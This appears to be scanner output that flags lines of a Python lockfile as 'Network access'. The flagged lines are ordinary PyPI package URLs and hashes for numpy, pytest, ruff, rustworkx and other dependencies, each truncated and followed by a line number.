{ url = "https://files.pythonhosted.org/packages/90/8c/140a40398a66b4471211be1affdb6ed24c486d581bd28d07b7f2fcb69540/numpy-2.5.4-cp313-cp313-win_amd64.whl", hash = "sha256:8b4d2fd2d34e5f8c9235ee787de5631a37a28402b15cb80814df973d2be54129", si - Network accessline 50
{ url = "https://files.pythonhosted.org/packages/34/52/01d205e5e8ccb27b2b0b141e801f22b830198c979111b0fa44771438d9a9/numpy-2.5.4-cp313-cp313-win_arm64.whl", hash = "sha256:bc39ac66a7a9a3fbd6134fda43136b60ffde99c8f4501e64e0d2b24da137babf", si - Network accessline 51
{ url = "https://files.pythonhosted.org/packages/99/ba/005cb5edd580d2f84d7ca3206b92dc17d4388e56e6f87ffe8f2762f83139/numpy-2.5.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c668b2f0d651605b58892644b0e302c7157f7159544227758c896982ef3 - Network accessline 52
{ url = "https://files.pythonhosted.org/packages/f3/49/fee7587c33ee35f7977f9051d7f2023d4e7246d62710c80f20c2361ea232/numpy-2.5.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:ffa6ce09a1c6a08e9667dd9c97aa0b14184e8d18f2a14b78b2a2328c9147f - Network accessline 53
{ url = "https://files.pythonhosted.org/packages/d5/b2/c6ce165acffceb15a82c07b9cc77d391f86b3f379ba62911908ae5d34b91/numpy-2.5.4-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:956555e0603a4d38019ae6925711cb9dc43195c076a928accf7ea5d50bddf - Network accessline 54
{ url = "https://files.pythonhosted.org/packages/77/7f/dd85ce260a669a89be06842cf355d7353a33e6cfbc590fb8ebb947d88dc9/numpy-2.5.4-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:2c2c4afffdeb7920e445028dd71eb932cac3e704792e964bc2a232426d4f - Network accessline 55
{ url = "https://files.pythonhosted.org/packages/63/d6/34b0a2b0741386a63025a65a2c09caaaaaad6d0ca95b66cd65c30dd7fcb5/numpy-2.5.4-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4054173604cd8658796053f1f3bc0befb - Network accessline 56
{ url = "https://files.pythonhosted.org/packages/16/d5/928078d2b28f26829b138b4a6c3980045022fb409f570657a224ae60ef4e/numpy-2.5.4-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d549420b8858885cea8838a727842249218 - Network accessline 57
{ url = "https://files.pythonhosted.org/packages/f9/cf/673fd1b8f4cd78eb6320e87ec4c90ac19c095644259e3749853a405c70f4/numpy-2.5.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:823874a507a84af050493b622affde94b6f7c3a0dc22cb2801381bc03 - Network accessline 58
{ url = "https://files.pythonhosted.org/packages/f3/92/a77b5061b1b3e2643928c37976d79ee173e1b171ed158b7a3c61056b41bc/numpy-2.5.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4e263278bfb5ee6409db8aedbc4cc32973b1b82bc1e8d3c668551d04d8 - Network accessline 59
{ url = "https://files.pythonhosted.org/packages/bb/1d/1486ef3d3fb2279fd93c4c43c1bbbf1ca389a19816696684409f71babaab/numpy-2.5.4-cp314-cp314-win32.whl", hash = "sha256:cfd73180400042a7c532d30c5e287bdd03c59ff9ee1b4c0316af0539e29dfe23", size = - Network accessline 60
{ url = "https://files.pythonhosted.org/packages/52/9a/e1e512ebc948d5b9dd33b08736760f0ebbed2848fd4eda1f553088a6dcee/numpy-2.5.4-cp314-cp314-win_amd64.whl", hash = "sha256:2ca144f15135b6212a5c47b1e2aeca6e412f102f95a2d5d88d8aec77eb255de3", si - Network accessline 61
{ url = "https://files.pythonhosted.org/packages/2c/05/de709a982d7bbcd688a3fad71f002e9ff80c2db39e03ee726609b610f1d1/numpy-2.5.4-cp314-cp314-win_arm64.whl", hash = "sha256:468397ba3c64427474706e5c9123fe266395496714dc684294eac75cd4930d1e", si - Network accessline 62
{ url = "https://files.pythonhosted.org/packages/13/34/083570ada3bb2a30fbe5d77c8c6fef9141144a15d33e6f793a67e9749ab8/numpy-2.5.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1ef3aa6d7e29bb13677323114280b05acc57607fa2300e66432d665d5418 - Network accessline 63
{ url = "https://files.pythonhosted.org/packages/94/06/1f9c24db48eef0c2d1207e3b11fffb0478e39dfd8c1e1be7476936885eed/numpy-2.5.4-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:98b053943e5a0474ec0da309d2cb9d3f18ea57f8a2067c2ab7b5f763d106 - Network accessline 64
{ url = "https://files.pythonhosted.org/packages/da/0f/593fba2e1560e949123bc7d2fc48b5893d56e58cd4bd5a273d2fbf60b220/numpy-2.5.4-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:b64a85f40e154983960a4167d4c1d57a50c7f109b3d3264a3a984154e90 - Network accessline 65
{ url = "https://files.pythonhosted.org/packages/eb/9f/b799dfdce4e05e80ed4bc815c71ff343a11533b2c0ffc221cae8538cda63/numpy-2.5.4-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a813ed7719bf45463c51779e6a98d038 - Network accessline 66
{ url = "https://files.pythonhosted.org/packages/34/88/16c5f12f86f5ad2817c4d103205131fc6c8acb3d1878af05a1a4f23ec859/numpy-2.5.4-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c9b80cdf5cedba0e90d93fa5f9a333c4d6 - Network accessline 67
{ url = "https://files.pythonhosted.org/packages/ff/4f/a1fe40e18a898e6a5089f4f0d891f0a493eb0574d5b34458f0fbe5aa3e5c/numpy-2.5.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:2199ed071f460487c8db2c0e5c0b564494190edb4772fe80f9aad88b - Network accessline 68
{ url = "https://files.pythonhosted.org/packages/aa/46/e923a11c78e65c1722e7aaad817c06bd591324174b9d28ce5d31eee4d432/numpy-2.5.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:64f9c9878c1938476365e11ccfb6b770f3b9e5f045ccddc514235041e - Network accessline 69
{ url = "https://files.pythonhosted.org/packages/5a/fa/84ab064514440c1f64a1b21088f2c82756defdd05e07c75ab233899565b2/numpy-2.5.4-cp314-cp314t-win32.whl", hash = "sha256:64d1c8ac28a4077cf987e0a71a7a0ef7e2df70722f07f0baa42dbb7eb6938647", size - Network accessline 70
{ url = "https://files.pythonhosted.org/packages/7e/7e/6cd886876f435b10685db9b9f7eeb70356f99e052116f4e5f11c5792c714/numpy-2.5.4-cp314-cp314t-win_amd64.whl", hash = "sha256:067374eb538c34c745436365cf7b0112595c1d326f21ce4ff340f61230239fbb", s - Network accessline 71
{ url = "https://files.pythonhosted.org/packages/38/1b/3c1684f6a06f7307f2335fca6e486cb162847fb97e91d65f8eb5cabad213/numpy-2.5.4-cp314-cp314t-win_arm64.whl", hash = "sha256:e94aef2c639da4a960ad0db8e06471208d8589974953d78b61d345b4eb99e394", s - Network accessline 72
{ url = "https://files.pythonhosted.org/packages/08/f4/3224deff3af2bef6bc0b175369698d8cb348f3d91d9bb0286cd5c9eae9e0/numpy-2.5.4-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:8dddfbee2e68d26d0d7d7d9cb247b1fd4409241cce32d815a11d97ec2cf - Network accessline 73
{ url = "https://files.pythonhosted.org/packages/be/75/fee0b8c6d94b44b2fdfae74f6a4ad5a138739589a8aebaec28ce4e713ed5/numpy-2.5.4-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:81e3420b27048b65eb14c3acf0c174a8cb0e023277716110347d2dcb26026 - Network accessline 74
{ url = "https://files.pythonhosted.org/packages/47/c0/d0b335a499a04b65f532c3f034346ef390f81299060f928492dabc1e0272/numpy-2.5.4-cp315-cp315-macosx_14_0_arm64.whl", hash = "sha256:0b4724a19de67bea8cfc4970798efa78bcbbe2ac2613cfac16721a42d44de - Network accessline 75
{ url = "https://files.pythonhosted.org/packages/5a/0e/461b3783c03d668052e6a21b01b673db6ffcb7831fd32d9aa5368c1cd426/numpy-2.5.4-cp315-cp315-macosx_14_0_x86_64.whl", hash = "sha256:2132418bf8dd124a427ca9e6a1daf9ee1a87185344c95119ceae868b9946 - Network accessline 76
{ url = "https://files.pythonhosted.org/packages/b3/02/5dad269b02166965a7b4ca14adaddd75dbee0de42435bfecf561b84ba5a6/numpy-2.5.4-cp315-cp315-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:325518d4245b9e331387702aa58c2ce1d - Network accessline 77
{ url = "https://files.pythonhosted.org/packages/93/3a/01360c8036822ed9f7aa32189a77d1476567ec1e8e1383522389e4faac45/numpy-2.5.4-cp315-cp315-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:56733449d2544178beaa4545cee35737044 - Network accessline 78
{ url = "https://files.pythonhosted.org/packages/7d/5c/b863a2c093c4d6f21a597fcaf24ead0835c09ab16a8312d5a5a8868af683/numpy-2.5.4-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:5ec3753760c1a6d8bb91200666e545c3a9728e6269dfb5d6ce0234099 - Network accessline 79
{ url = "https://files.pythonhosted.org/packages/0a/60/ced4f57f9a1258a0af74f17cb0b0c2700b5c67cd6678823c803b263e4df3/numpy-2.5.4-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:b1185012870173de7ae33d370bd45b1cf5baee747ea4b97036b65f4e93 - Network accessline 80
{ url = "https://files.pythonhosted.org/packages/f9/bd/0ef22dafaafcc7d4bb3ca26b8d2afbd55dedad8eaba99a8c864e1997456f/numpy-2.5.4-cp315-cp315-win32.whl", hash = "sha256:298eca75243f2cbbfdb460560b9fb2a1792a33cf2ab4286efd43d92e8d3df508", size = - Network accessline 81
{ url = "https://files.pythonhosted.org/packages/50/bc/d2651b155ecc608a77e6f4d15495c11f14f19bb98f8bf0c5b0d38f86dda1/numpy-2.5.4-cp315-cp315-win_amd64.whl", hash = "sha256:332f3378fe077dd850e677ec01bdcc4f22368fb5d50ef10b2c79230b1bf5a592", si - Network accessline 82
{ url = "https://files.pythonhosted.org/packages/dc/d2/45e404f8abb26fb9eda12b94012936873e827b1be76f2ee7890be128312e/numpy-2.5.4-cp315-cp315-win_arm64.whl", hash = "sha256:d4cccbbc78717966f764cd3af4fb70276fa01fc7a2688af11c78901fa5c04f05", si - Network accessline 83
{ url = "https://files.pythonhosted.org/packages/c6/c3/2ae14e09cfdb67dc187a342e15308a21c15bf4d2071f8079e6aee5fe56dc/numpy-2.5.4-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:950ea81d57ef070665581b6e1b5f6a029306423cd1739c5b95fe78aa30 - Network accessline 84
{ url = "https://files.pythonhosted.org/packages/f5/cf/305ae624ef8a039414317224abe9ec9c2fe7ea3c2e1cf204d43ff6b2ffb9/numpy-2.5.4-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:c05ede731b03fb1b7591faca9389ade3267d2bddf1ad8882bb3f2cc5e101 - Network accessline 85
{ url = "https://files.pythonhosted.org/packages/a9/a8/f75c63813aef95827bb2c0d13b12803016853056e8792c280058cdbfe783/numpy-2.5.4-cp315-cp315t-macosx_14_0_arm64.whl", hash = "sha256:5fbf7141bbfd63aea22f435c9062a032b9ea0082fe9845dad7f021d3f123 - Network accessline 86
{ url = "https://files.pythonhosted.org/packages/6f/0f/f17763f983868b5c49b4101ebd7e00760bd1769478a6bb6a8de6e085bbac/numpy-2.5.4-cp315-cp315t-macosx_14_0_x86_64.whl", hash = "sha256:3573cd22564692a5b899ec344e5d5b9cc4576f2985b96f22af3564ed54f - Network accessline 87
{ url = "https://files.pythonhosted.org/packages/67/a7/8af04c5a79e047996cfa38854dcfbececdd0343a7c933a46fdd03ef6f5da/numpy-2.5.4-cp315-cp315t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c109eac9cd439193678f69d70733c11 - Network accessline 88
{ url = "https://files.pythonhosted.org/packages/57/7a/648254290d0c504faa8f2d07aa206660c728802c781a6f3fc68ab7cb5d71/numpy-2.5.4-cp315-cp315t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:80d6ef6e8620eb2c2b4c4caad50b5935d6 - Network accessline 89
{ url = "https://files.pythonhosted.org/packages/b8/fe/4a8c3cdb0c70400cfe4c5bec42d3099a5673802a95064614b33e07b82aa1/numpy-2.5.4-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:77045a4b175bbf5316ec08003880804336c78f92281a1b72222b274e - Network accessline 90
{ url = "https://files.pythonhosted.org/packages/1b/7e/619692bb67778702c0e9eb2d468568a7573f4e269386ea61aed01ee4e557/numpy-2.5.4-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:0f02a46e49cfb6c73bdb7aea1c0d3461dbae9aba613542b65f657cd3d - Network accessline 91
{ url = "https://files.pythonhosted.org/packages/b7/b5/4da41c328788f575838f97a098fe8ca691ebc6f6fd73ad4a262ee40b184d/numpy-2.5.4-cp315-cp315t-win32.whl", hash = "sha256:ad62a416ddcf863bf44bba76fbf6b53366ab0692e294f51cae4b5fbe0d246788", size - Network accessline 92
{ url = "https://files.pythonhosted.org/packages/98/94/6482ddfa3d312490cb9358f375bf2ad56427dbea8769187158e94d653753/numpy-2.5.4-cp315-cp315t-win_amd64.whl", hash = "sha256:38f47be9f74ab870d2633b5456ae519c43758a8d1fd05342f0ce4ecc034396ee", s - Network accessline 93
{ url = "https://files.pythonhosted.org/packages/48/7f/c2d1b436b6e7cfebac140c2579a298344b85f2991a2ce5c3615cefb29400/numpy-2.5.4-cp315-cp315t-win_arm64.whl", hash = "sha256:7a14a461d9340f1b46b8648578aed9cdb8b3b018a8fac6c1dde2c9192a01a87f", s - Network accessline 97
name = "packaging" version = "26.2" source = { registry = "https://pypi.org/simple" } - Network accessline 98
version = "26.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3 - Network accessline 99
source = { registry = "https://pypi.org/simple" } - Network accessline 100
sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228 - Network accessline 101
wheels = [ { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0 - Network accessline 102
{ url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 1 - Network accessline 106
name = "pluggy" version = "1.6.0" source = { registry = "https://pypi.org/simple" } - Network accessline 107
version = "1.6.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b762 - Network accessline 108
source = { registry = "https://pypi.org/simple" } - Network accessline 109
sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412 - Network accessline 110
wheels = [ { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd47 - Network accessline 111
{ url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 205 - Network accessline 115
name = "pygments" version = "2.20.0" source = { registry = "https://pypi.org/simple" } - Network accessline 116
version = "2.20.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd0 - Network accessline 117
source = { registry = "https://pypi.org/simple" } - Network accessline 118
sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 49 - Network accessline 119
wheels = [ { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946 - Network accessline 120
{ url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = - Network accessline 124
name = "pytest" version = "9.1.1" source = { registry = "https://pypi.org/simple" } - Network accessline 125
version = "9.1.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 126
source = { registry = "https://pypi.org/simple" } - Network accessline 132
{ name = "pygments" }, ] sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0 - Network accessline 133
] sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 163 - Network accessline 134
sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 16363 - Network accessline 135
wheels = [ { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f - Network accessline 136
{ url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386 - Network accessline 140
name = "ruff" version = "0.17.1" source = { registry = "https://pypi.org/simple" } - Network accessline 141
version = "0.17.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/f9/e7/e6d5749983b020e6cb1055abec0a6f361a8e94f0184cdcf56d4760995f02/ruff-0.17.1.tar.gz", hash = "sha256:5bb796c5112 - Network accessline 142
source = { registry = "https://pypi.org/simple" } - Network accessline 143
sdist = { url = "https://files.pythonhosted.org/packages/f9/e7/e6d5749983b020e6cb1055abec0a6f361a8e94f0184cdcf56d4760995f02/ruff-0.17.1.tar.gz", hash = "sha256:5bb796c5112e9fb9527f2ef2faa0a130d6312d19de92bcfaddd70dbb2d41020f", size = 532334 - Network accessline 144
wheels = [ { url = "https://files.pythonhosted.org/packages/2e/78/90c46ca6250709f7c37e397b60d06061adee8d0f7d13959ed6a8e49b14fd/ruff-0.17.1-py3-none-linux_armv6l.whl", hash = "sha256:1796c41eafec66f4635125dd1e074a7aa27b8d20c187d484360acf - Network accessline 145
{ url = "https://files.pythonhosted.org/packages/2e/78/90c46ca6250709f7c37e397b60d06061adee8d0f7d13959ed6a8e49b14fd/ruff-0.17.1-py3-none-linux_armv6l.whl", hash = "sha256:1796c41eafec66f4635125dd1e074a7aa27b8d20c187d484360acf11d247fc4a", si - Network accessline 146
{ url = "https://files.pythonhosted.org/packages/aa/d2/a2e28bc35b083ae51fa07dfba5280a667c8b01ecaee7802fc8849dcd5c46/ruff-0.17.1-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:8eadb09a788010be29c895418bdfa513e4e1c65e64b94e5b19e4cd381f6cc7 - Network accessline 147
{ url = "https://files.pythonhosted.org/packages/8e/71/7a9029a81c8206ee01a98f6cfeeb56e6c095af86857581a37045c46d7e94/ruff-0.17.1-py3-none-macosx_11_0_arm64.whl", hash = "sha256:29b454f18ca3eeaf37fbf140841dcf27d36109e29dee9aae8acecb68c26c6f74 - Network accessline 148
{ url = "https://files.pythonhosted.org/packages/c0/8c/e075e9c917cb0575297880c96768304e881240171c870cbd8d9b7b54bec2/ruff-0.17.1-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:872e03dd231744d6c5ec5c8af6be52b71323f - Network accessline 149
{ url = "https://files.pythonhosted.org/packages/87/27/0b4bb926a49de2383f161272b4d863571a4c7ecdbf595a6bc58813a13367/ruff-0.17.1-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4c0d6cb5f8fbac77eec9af49f4fc0eaf856b055 - Network accessline 150
{ url = "https://files.pythonhosted.org/packages/14/27/518d57e0e02aecb8ea4acac6b57b51a53173d25fa734952bfdd7d531e88e/ruff-0.17.1-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:78beced4a3c94dfedbee4b999b95b6a27b35820fdc0 - Network accessline 151
{ url = "https://files.pythonhosted.org/packages/01/82/d89a4e498ade59e6cee52d67f8da569019372212b87468c1fdeae884601c/ruff-0.17.1-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7feefc63921202894f0e158b0e32f45a5950d - Network accessline 152
{ url = "https://files.pythonhosted.org/packages/a2/7c/3b0fdef9352656317c977086fe1d802902406e4f2a0d8578da90c0e6d1c5/ruff-0.17.1-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:684154861a819bf1f433669d2a0ce9c3e54677c65 - Network accessline 153
{ url = "https://files.pythonhosted.org/packages/62/86/5566290219708ce2928f3a29c4f843a1185b341ec6111c4631a33c5ceced/ruff-0.17.1-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a6ef98e51de8ef38082f90653ceeb84944bd767 - Network accessline 154
{ url = "https://files.pythonhosted.org/packages/ad/d2/ca8462dabb3c413990d49703ba306c30c862195a75448d080fa8fcce9775/ruff-0.17.1-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:8f9aa5b5bd5fa1937803ea609c8f153b8de39bf3e0e149897ae34b0c5b5 - Network accessline 155
{ url = "https://files.pythonhosted.org/packages/e3/ad/dd1864c1f1db17c8cfb297ce70b352388e6977620f66f7182c52855407df/ruff-0.17.1-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:80e53b0e5faa3c5667f035daaa032893ae42b7cfe708c886d39ed131e546 - Network accessline 156
{ url = "https://files.pythonhosted.org/packages/65/45/3f56cf1d2168c2165cdd5ac6f9668aee66a4cfdd4caf2b2cc5ccb2b1d568/ruff-0.17.1-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:056c5d5fa0ac790051ae165d7035c7bf956d02de2db557f2e9b31d877a505 - Network accessline 157
{ url = "https://files.pythonhosted.org/packages/aa/4b/5457cb2be4c1d1ea5e919558131a0f197a4a454a0530d9e30820e8206e4c/ruff-0.17.1-py3-none-musllinux_1_2_i686.whl", hash = "sha256:bd8f5a55b10f371642eacd0e8665a42a8b97da15c9a7187c79e697b77b5e0ce - Network accessline 158
{ url = "https://files.pythonhosted.org/packages/49/fb/db15b4f8fa24a1e36b99e1401f42ef6df16ee299a48670d5d262b771e7d7/ruff-0.17.1-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:ce05e6f3973611d9550a600e04bb531061e368baba31610eb57c1509a8f21 - Network accessline 159
{ url = "https://files.pythonhosted.org/packages/0a/e8/1e186578076aff7a80735f625005fde678412ab609cd323ed182eb7d6b87/ruff-0.17.1-py3-none-win32.whl", hash = "sha256:1de0030a8aa78c65c5fecb84b2e5c390ac684c0452875a02afc7c083d49a496a", size = 98 - Network accessline 160
{ url = "https://files.pythonhosted.org/packages/6a/2e/da3d9589bae8e8b58f3a48bd5bc0b980232fb14a83bf02c3be7660f87c1b/ruff-0.17.1-py3-none-win_amd64.whl", hash = "sha256:5df76f16580fab58d0f6c98a3ac254a4abceb7b2489b8b678335869cff77b3d7", size - Network accessline 161
{ url = "https://files.pythonhosted.org/packages/df/c9/0f2a4dea06a5e12c1191ee3d96b1e1233797d0d5e18f97a2b909a95a9836/ruff-0.17.1-py3-none-win_arm64.whl", hash = "sha256:42400b9a6ff8515ff27796f07f92e0195be011c86e81e381606f58ea5502fef4", size - Network accessline 165
name = "rustworkx" version = "0.18.1" source = { registry = "https://pypi.org/simple" } - Network accessline 166
version = "0.18.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 167
source = { registry = "https://pypi.org/simple" } - Network accessline 169
{ name = "numpy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/86/0d/5b6b48005bbc19622ea7f295f2d5f1339474cb7893e57fd30e6553b2b534/rustworkx-0.18.1.tar.gz", hash = "sha256:30affe6ee52a6257a01152418f9c1686ca114e7ab4a3bf87bb87f - Network accessline 170
] sdist = { url = "https://files.pythonhosted.org/packages/86/0d/5b6b48005bbc19622ea7f295f2d5f1339474cb7893e57fd30e6553b2b534/rustworkx-0.18.1.tar.gz", hash = "sha256:30affe6ee52a6257a01152418f9c1686ca114e7ab4a3bf87bb87fe35b7350f3e", size = - Network accessline 171
sdist = { url = "https://files.pythonhosted.org/packages/86/0d/5b6b48005bbc19622ea7f295f2d5f1339474cb7893e57fd30e6553b2b534/rustworkx-0.18.1.tar.gz", hash = "sha256:30affe6ee52a6257a01152418f9c1686ca114e7ab4a3bf87bb87fe35b7350f3e", size = 8 - Network accessline 172
wheels = [ { url = "https://files.pythonhosted.org/packages/8d/1d/df08af787e15d10479e9c69278933904e5dfa716e9793bce6e48c4ef8fb1/rustworkx-0.18.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c622843757ce6afd950b6f3c45b79f0078fb8d9a - Network accessline 173
{ url = "https://files.pythonhosted.org/packages/8d/1d/df08af787e15d10479e9c69278933904e5dfa716e9793bce6e48c4ef8fb1/rustworkx-0.18.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c622843757ce6afd950b6f3c45b79f0078fb8d9a66f6783b5963594 - Network accessline 174
{ url = "https://files.pythonhosted.org/packages/54/e6/08c5d1e21d3f97f172210f409fa6de12684de1b36952ec7c1f4545cfb5af/rustworkx-0.18.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:77103c119e71d816c04bcc60443184cae9550c1d49e5c28a046850252 - Network accessline 175
{ url = "https://files.pythonhosted.org/packages/a2/ec/80ffcc38ffd28798a31563485a7c35d7d7ccebad83d388717442731e7477/rustworkx-0.18.1-cp310-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1ebd2441a51c68a784df8c62dc2e6f1a - Network accessline 176
{ url = "https://files.pythonhosted.org/packages/86/6c/e1483aea43fd8be81666cb103aea0f6127f71731de666c156e6b6f8c2338/rustworkx-0.18.1-cp310-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:c42a0a52463ff78c0dd03426efa7b40b17b433689c2a5ab6aaaf - Network accessline 177
{ url = "https://files.pythonhosted.org/packages/04/46/b6df0cddd2e22ce7b0baf24c0e5a123df6dd29d007df601ebe7b25928088/rustworkx-0.18.1-cp310-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:ba997e8c22564bf17b110514fba530bfd0ee2868506c3e8e4b4b - Network accessline 178
{ url = "https://files.pythonhosted.org/packages/08/ad/6e53d1db486697bb971a2d0623b1a67903825fb9e5a44ec993f04b8678c5/rustworkx-0.18.1-cp310-abi3-manylinux_2_28_s390x.whl", hash = "sha256:48d42983e62412e3ffc1e58c2ec55222ec82fc0e4c6dac576ee203 - Network accessline 179
{ url = "https://files.pythonhosted.org/packages/c5/80/f83b4469f4c2756c06741f7fd28209821827bee9e55217acdea63bbd71df/rustworkx-0.18.1-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:5ebcdd8c55d91583c94aa62ef332de3a724b69a57ae2b5c9fcf70 - Network accessline 180
{ url = "https://files.pythonhosted.org/packages/b4/c3/b24190513dee8bf5e26ac9ef2303e8cc0a27f33581dc7f0321a2ed5eb63e/rustworkx-0.18.1-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:212d0a4b5ccec8cc8c3879dd1fd13b1e61894c708185f12eb63ae5 - Network accessline 181
